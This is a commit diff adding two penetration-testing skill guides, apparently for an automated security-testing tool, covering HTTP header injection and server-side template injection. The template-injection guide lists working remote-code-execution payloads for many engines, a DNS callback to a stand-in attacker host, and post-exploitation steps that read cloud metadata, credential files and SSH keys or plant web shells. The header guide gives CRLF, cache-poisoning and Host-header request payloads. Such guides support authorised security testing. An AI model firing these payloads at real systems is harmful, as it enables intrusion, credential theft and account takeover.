Add SSTI and Header Injection vulnerability skills (#191)
This commit is contained in:
@@ -0,0 +1,210 @@
|
||||
---
|
||||
name: header-injection
|
||||
description: HTTP header injection testing covering CRLF / response splitting, cache poisoning, Host-header confusion, cookie fixation, and proxy / forwarding header smuggling
|
||||
---
|
||||
|
||||
# HTTP Header Injection
|
||||
|
||||
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Input shapes that reach headers**
|
||||
- Query/body/path values echoed into `Set-Cookie`, `Location`, `Content-Type`, `Content-Disposition`, `Link`, custom `X-*`
|
||||
- Request headers re-emitted into responses (Referer, User-Agent, X-Forwarded-*, custom correlation IDs)
|
||||
- Webhook / callback flows where the server constructs outbound requests using user-supplied URLs (Host, Referer)
|
||||
- Outbound email headers (To/From/Subject) populated from user input
|
||||
|
||||
**Code patterns that enable injection**
|
||||
- Direct concatenation of user input into header values without CR/LF stripping
|
||||
- Frameworks that accept header values as strings and serialize verbatim (no normalization)
|
||||
- Proxy chains trusting `X-Forwarded-*` / `Forwarded` / `X-Real-IP` set by an upstream that anyone can spoof
|
||||
- `X-HTTP-Method-Override` and similar method-shaping headers respected past auth layers
|
||||
|
||||
**Transports and parser layers**
|
||||
- HTTP/1.0, HTTP/1.1, HTTP/2, HTTP/3 each parse framing differently
|
||||
- CDN / reverse proxy → application server (where each side may disagree on framing)
|
||||
- Chunked transfer encoding boundaries and multipart/form-data delimiters
|
||||
|
||||
## High-Value Targets
|
||||
|
||||
- Password-reset and account-recovery flows (Host header determines the link sent to the user)
|
||||
- OAuth / SSO redirect endpoints (`Location`, `redirect_uri` echoes)
|
||||
- Auth gateways that trust `X-Forwarded-For` / `X-Real-IP` for IP allowlists or rate limits
|
||||
- CDN / WAF caches (poisoning a public cache with a per-user response)
|
||||
- Multi-tenant routing keyed on Host or `X-Tenant-Id`
|
||||
- File-download endpoints (`Content-Disposition` filename derived from user input)
|
||||
- Outbound notification / email systems where user input lands in the message header
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Header Inventory
|
||||
|
||||
- Enumerate every response header that varies with input — flip query / body / cookie values and diff `Set-Cookie`, `Location`, `Content-Type`, `Content-Disposition`, `ETag`, `Vary`, custom `X-*`
|
||||
- For each varying header, identify the source field (user-controlled vs. server-derived)
|
||||
- Look for request headers reflected into responses (Referer in error pages, User-Agent in correlation IDs, X-Forwarded-Host echoed back)
|
||||
|
||||
### CR/LF and Whitespace Variants
|
||||
|
||||
- Bare LF (`%0a`), bare CR (`%0d`), CRLF (`%0d%0a`)
|
||||
- Double encoding (`%250d%250a`) for WAFs that decode once
|
||||
- Overlong UTF-8 of CR/LF (`%c0%8d`, `%c0%8a`) — invalid per spec but accepted by some parsers
|
||||
- Unicode line/paragraph separators (`%e2%80%a8` U+2028, `%e2%80%a9` U+2029) — sometimes folded to LF by intermediaries
|
||||
- Tab (`%09`) — RFC 7230 allows tabs in field values, useful for sneaking past simple `\s+` filters
|
||||
- Null byte (`%00`) — can truncate the header value in some parsers
|
||||
|
||||
### Parser and Server Fingerprinting
|
||||
|
||||
- `Server`, `Via`, `X-Powered-By`, `X-AspNet-Version`, `X-Served-By`, `CF-Ray`, `X-Amzn-RequestId` reveal the stack
|
||||
- `Vary`, `Age`, `X-Cache`, `CF-Cache-Status` reveal caching layer and key composition
|
||||
- Same payload over HTTP/1.1 vs HTTP/2 vs chunked — diff status, headers, body length to map parsing differences
|
||||
- Compare `Host` and `X-Forwarded-Host` precedence: send both with different values and observe which wins in redirects, links, log entries
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### CRLF Response Splitting and Smuggling
|
||||
|
||||
Inject `\r\n\r\n` to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
|
||||
|
||||
```
|
||||
GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
|
||||
```
|
||||
|
||||
Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
- **Unkeyed input → keyed response**: input that influences the response body but not the cache key (an `X-Forwarded-Host` echoed in a link, an unkeyed query parameter reflected in HTML)
|
||||
- **`Vary` manipulation**: inject a `Vary` header to over-fragment the cache (DoS-flavored) or under-fragment it (cross-user serving)
|
||||
- **`X-Forwarded-Proto` / `X-Forwarded-Host` poisoning**: backend uses these to build canonical URLs in the response; CDN caches the response with attacker-controlled links
|
||||
- **`Cache-Control` injection**: flip `private` to `public` (or vice versa) to change cache eligibility; inject `max-age=999999` for persistent poisoning, or `max-age=0` / `no-cache` to flush — `Age` is generated by the cache itself and isn't a freshness control, don't bother with it
|
||||
- **Web cache deception**: trick the cache into storing an authenticated response at a public-looking URL (`/account/profile.css`) by appending a cacheable extension
|
||||
|
||||
### Host Header Confusion
|
||||
|
||||
Backends often trust `Host` (or `X-Forwarded-Host`) when constructing absolute URLs — password reset emails, OAuth `redirect_uri`, canonical link tags. Sending a forged Host produces a reset link pointing at attacker-controlled infrastructure that still carries the victim's reset token.
|
||||
|
||||
```
|
||||
POST /password-reset HTTP/1.1
|
||||
Host: attacker.tld
|
||||
```
|
||||
|
||||
Also test: precedence between `Host` and `X-Forwarded-Host`, IPv6 bracketing (`Host: [::1]:80`), trailing dot (`Host: example.com.`), and port confusion (`Host: example.com:@attacker.tld`).
|
||||
|
||||
### Cookie / Set-Cookie Manipulation
|
||||
|
||||
- Inject `Domain=.example.com` or `Path=/` to widen scope of an attacker-set cookie
|
||||
- Inject `SameSite=None; Secure` to allow cross-site inclusion
|
||||
- Inject `Max-Age=999999999` for persistence, or `Max-Age=-1` to nuke the victim's session
|
||||
- Inject a cookie with the same name as a real session cookie — precedence rules let a same-domain attacker shadow it (cookie tossing)
|
||||
- Reflected cookie XSS: if a cookie value is later rendered unescaped in HTML, the injection point is the header but the sink is the page
|
||||
|
||||
### Proxy and Forwarding Header Spoofing
|
||||
|
||||
The `X-Forwarded-*` family is informational — there is no protocol guarantee about who set them. Any application that trusts them past the boundary it controls is exploitable.
|
||||
|
||||
- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
|
||||
- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
|
||||
- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
|
||||
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them
|
||||
- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
|
||||
|
||||
### Content-Type / Encoding Confusion
|
||||
|
||||
- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
|
||||
- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads
|
||||
- Inject `Content-Disposition: inline` to switch a download into in-page rendering
|
||||
- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
|
||||
- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
|
||||
|
||||
### XSS via Response Headers
|
||||
|
||||
- `Location: javascript:alert(1)` if redirect target is reflected unescaped (browsers usually block, but some legacy clients and Electron-style hosts don't)
|
||||
- `Location: data:text/html,<script>alert(1)</script>` — same caveat
|
||||
- `Refresh: 0; url=javascript:alert(1)` — the legacy `Refresh` header is a JavaScript-free meta-refresh equivalent
|
||||
- Reflected request header XSS: `Referer` echoed into a custom error page, `User-Agent` echoed into a debug header — combine CRLF injection with a body-injection sink
|
||||
|
||||
### Open Redirect via Headers
|
||||
|
||||
- `Location` is the obvious one
|
||||
- `Refresh: 0; url=https://attacker.tld` — bypasses some `Location`-only filters
|
||||
- `Link: <https://attacker.tld>; rel="canonical"` — usually informational but consumed by SEO tooling and some clients
|
||||
- `X-Accel-Redirect: /internal/file` (Nginx) — if user input reaches this, internal-only files become accessible
|
||||
|
||||
### HTTP/2 Pseudo-Header and Frame Confusion
|
||||
|
||||
- HTTP/2 splits headers into pseudo-headers (`:method`, `:path`, `:authority`, `:scheme`) and regular fields. Servers downgrading to HTTP/1.1 sometimes mishandle pseudo-header values, enabling smuggling across the H2 → H1 boundary.
|
||||
- HTTP/2 lowercases header names; an upstream H1 filter that's case-sensitive may miss a lowercase variant that the H2 backend then accepts.
|
||||
- HEADERS / CONTINUATION frame splitting: payload spans frames, intermediaries differ on whether they reassemble before applying filters.
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Encoding**
|
||||
- URL-encode (`%0d%0a`) and double-encode (`%250d%250a`) for WAFs that decode the wrong number of times
|
||||
- Mix encodings within one payload: `%0d%0A`, `%0D\n`, alternating case
|
||||
- Newline-equivalent Unicode: U+2028 / U+2029 (sometimes folded to LF), overlong UTF-8 of CR/LF
|
||||
|
||||
**Header normalization edges**
|
||||
- Leading / trailing whitespace and tabs in header names and values
|
||||
- Header folding (obs-fold per RFC 7230 — formally obsolete, but some parsers still accept continuation lines starting with whitespace)
|
||||
- Duplicate headers — RFC says join with `,`; in practice servers pick first, last, or differ from the proxy in front of them
|
||||
|
||||
**Method and method-override**
|
||||
- `X-HTTP-Method-Override: PUT` (and `X-Method-Override`, `X-HTTP-Method`) to reach state-changing handlers when the framework consults the override before applying method-based authorization
|
||||
- Effective from server-side or non-browser clients (curl, internal tooling, server-to-server proxies); from a browser the header is non-safelisted and triggers a CORS preflight, so it isn't a CSRF primitive on its own
|
||||
|
||||
**Header name games**
|
||||
- Case mangling for filters that key off exact casing
|
||||
- Null byte truncation in header name (`X-Forwarded-For\x00Evil`) on parsers that stop at NUL
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Inventory varying headers** — enumerate every response header whose value moves with input
|
||||
2. **Probe CR/LF normalization** — inject `%0d%0a` (and the encoding variants) into each varying header source; observe whether the second line lands as a real header
|
||||
3. **Test Host / X-Forwarded-Host** — submit a password-reset or any link-generating flow with attacker-controlled Host; confirm the link in the response or follow-up email
|
||||
4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted endpoints (admin, rate-limited)
|
||||
5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response
|
||||
6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET
|
||||
7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair
|
||||
8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show two distinct users (or sessions) receiving content keyed on attacker-supplied header — proves cache poisoning
|
||||
2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection
|
||||
3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header
|
||||
4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request
|
||||
5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly)
|
||||
6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
|
||||
|
||||
## False Positives
|
||||
|
||||
- Headers that vary by input but are correctly keyed in the cache (intentional personalization, Vary set correctly)
|
||||
- `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable
|
||||
- Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate
|
||||
- CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache
|
||||
- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior
|
||||
|
||||
## Impact
|
||||
|
||||
- Cross-user cache poisoning (defacement, XSS, account takeover via cached auth response)
|
||||
- Account takeover via Host-confused password-reset / OAuth flows
|
||||
- Auth bypass on endpoints trusting forwarding headers
|
||||
- Session fixation and cookie tossing leading to account hijack
|
||||
- Open redirect for phishing / OAuth `redirect_uri` abuse
|
||||
- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies
|
||||
- WAF / detection bypass via header-name and encoding tricks
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request
|
||||
2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows
|
||||
3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)
|
||||
4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement
|
||||
5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass
|
||||
6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently
|
||||
7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause
|
||||
|
||||
## Summary
|
||||
|
||||
Header injection is fundamentally a normalization failure: somewhere on the request → response path, user input reached a header value without CR/LF stripping or proper escaping. The impact tiers up from open redirect to cache poisoning to request smuggling depending on which downstream component trusts the resulting header. Audit every header whose value moves with input, and treat every `X-Forwarded-*` / Host trust as a security boundary that needs explicit justification.
|
||||
@@ -0,0 +1,270 @@
|
||||
---
|
||||
name: ssti
|
||||
description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains
|
||||
---
|
||||
|
||||
# Server-Side Template Injection
|
||||
|
||||
SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Input shapes that reach the renderer**
|
||||
- Form fields, query / path / header values, cookies, JSON / GraphQL variables
|
||||
- Filenames and file metadata processed by document / report templates
|
||||
- Email subject / body / template-selector fields
|
||||
- Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates)
|
||||
- Markdown / WYSIWYG content rendered through a templating layer downstream
|
||||
|
||||
**Code patterns that enable injection**
|
||||
- User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)`
|
||||
- "Template editor" features for tenants / admins where the *template itself* is user-controllable
|
||||
- `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template
|
||||
- YAML / TOML / JSON values whose strings are later evaluated through a template
|
||||
|
||||
**Engines in scope**
|
||||
- Python: Jinja2, Mako, Django (limited)
|
||||
- Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL
|
||||
- JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust
|
||||
- Ruby: ERB, Haml, Slim
|
||||
- PHP: Twig, Smarty, Blade
|
||||
- .NET: Razor, RazorEngine
|
||||
|
||||
## High-Value Targets
|
||||
|
||||
- Email rendering pipelines (subject / body / "from" templates)
|
||||
- PDF / report generators (server-side render → headless browser)
|
||||
- CMS theme and plugin editors
|
||||
- Webhook and notification payload templates
|
||||
- API response formatters that interpolate strings (pagination labels, error messages, custom field renders)
|
||||
- Admin / tenant template editors — explicit "edit your template" features
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Injection Points
|
||||
|
||||
- Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection
|
||||
- Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal
|
||||
- Check error pages — many engines leak template syntax in stack traces
|
||||
|
||||
### Engine Fingerprinting
|
||||
|
||||
The classic differential probe — most engines evaluate exactly one of these, identifying themselves:
|
||||
|
||||
| Probe | Renders to | Engine family |
|
||||
|---|---|---|
|
||||
| `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks |
|
||||
| `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig |
|
||||
| `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
|
||||
| `<%= 7*7 %>` | `49` | ERB / EJS |
|
||||
| `#{7*7}` | `49` | Pug / some Ruby contexts |
|
||||
| `{{= 7*7 }}` | `49` | doT.js |
|
||||
|
||||
For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe.
|
||||
|
||||
Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space).
|
||||
|
||||
### Blind Probes
|
||||
|
||||
When output isn't reflected:
|
||||
|
||||
- **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB)
|
||||
- **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`)
|
||||
- **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Jinja2 / Mako (Python)
|
||||
|
||||
The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`:
|
||||
|
||||
```jinja
|
||||
{{''.__class__.__mro__[1].__subclasses__()}}
|
||||
```
|
||||
|
||||
Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals:
|
||||
|
||||
```jinja
|
||||
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
||||
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
||||
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
||||
```
|
||||
|
||||
Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context.
|
||||
|
||||
### Velocity / Freemarker / Thymeleaf (Java)
|
||||
|
||||
SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`:
|
||||
|
||||
```spel
|
||||
${T(java.lang.Runtime).getRuntime().exec('id')}
|
||||
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
|
||||
The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep.
|
||||
|
||||
Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly:
|
||||
|
||||
```freemarker
|
||||
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
|
||||
```
|
||||
|
||||
Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object:
|
||||
|
||||
```velocity
|
||||
#set($s = "")
|
||||
#set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
|
||||
$r.exec("id")
|
||||
```
|
||||
|
||||
This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably.
|
||||
|
||||
Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply:
|
||||
|
||||
```html
|
||||
<div th:utext="${T(java.lang.Runtime).getRuntime().exec('id')}"></div>
|
||||
<div th:utext="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}"></div>
|
||||
```
|
||||
|
||||
Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging.
|
||||
|
||||
### Smarty / Twig / Blade (PHP)
|
||||
|
||||
Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline:
|
||||
|
||||
```twig
|
||||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
|
||||
```
|
||||
|
||||
This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs).
|
||||
|
||||
Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened.
|
||||
|
||||
Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE.
|
||||
|
||||
### ERB / Haml (Ruby)
|
||||
|
||||
Direct Ruby evaluation — backticks are the shortest path that *reflects* command output:
|
||||
|
||||
```erb
|
||||
<%= `id` %>
|
||||
<%= IO.popen('id').read %>
|
||||
<% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %>
|
||||
<%= system('id') %>
|
||||
```
|
||||
|
||||
The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything.
|
||||
|
||||
Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE.
|
||||
|
||||
### Handlebars / Nunjucks / EJS (JavaScript)
|
||||
|
||||
EJS evaluates inline JavaScript:
|
||||
|
||||
```ejs
|
||||
<%= require('child_process').execSync('id').toString() %>
|
||||
```
|
||||
|
||||
Nunjucks via constructor walk on reachable objects:
|
||||
|
||||
```nunjucks
|
||||
{{range.constructor("return require('child_process').execSync('id')")()}}
|
||||
```
|
||||
|
||||
Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths.
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Sandbox escape — generic patterns**
|
||||
- **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}`
|
||||
- **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded
|
||||
- **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered
|
||||
- **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist
|
||||
- **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation
|
||||
|
||||
**Filter and parser evasion**
|
||||
- Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}`
|
||||
- String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here)
|
||||
- Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render
|
||||
- Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7`
|
||||
- Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser
|
||||
- Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render
|
||||
|
||||
**Polyglot and chained evaluation**
|
||||
- Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B
|
||||
- Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template
|
||||
- Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template
|
||||
|
||||
## RCE Primitives
|
||||
|
||||
**Direct command execution by language**
|
||||
- Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system`
|
||||
- Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute`
|
||||
- Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}`
|
||||
- JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts)
|
||||
- PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen`
|
||||
|
||||
**Indirect / second-stage**
|
||||
- File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't)
|
||||
- Define a function / macro inline that runs on next render
|
||||
- Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`)
|
||||
- DNS / HTTP exfiltration when shell exec produces no observable output
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
- Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs
|
||||
- Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens
|
||||
- Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`)
|
||||
- Lateral via internal HTTP — service mesh endpoints reachable from the rendering host
|
||||
- Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields)
|
||||
2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe
|
||||
3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI
|
||||
4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool
|
||||
5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node
|
||||
6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive
|
||||
7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection
|
||||
2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection
|
||||
3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path
|
||||
4. For RCE: command output captured in response, file written, or OAST callback containing command output
|
||||
5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot
|
||||
|
||||
## False Positives
|
||||
|
||||
- Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI
|
||||
- Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context)
|
||||
- Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE)
|
||||
- Markdown / static-site generators that template at build time only, with no user input reaching the build
|
||||
- Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric)
|
||||
|
||||
## Impact
|
||||
|
||||
- Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it)
|
||||
- Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP)
|
||||
- Cloud credential theft via metadata service access from the compromised host
|
||||
- Lateral movement into internal services reachable from the renderer
|
||||
- Persistent backdoor via web shell or service-account key planting
|
||||
- Build / supply-chain compromise when the templated content is a build artifact
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental
|
||||
2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs
|
||||
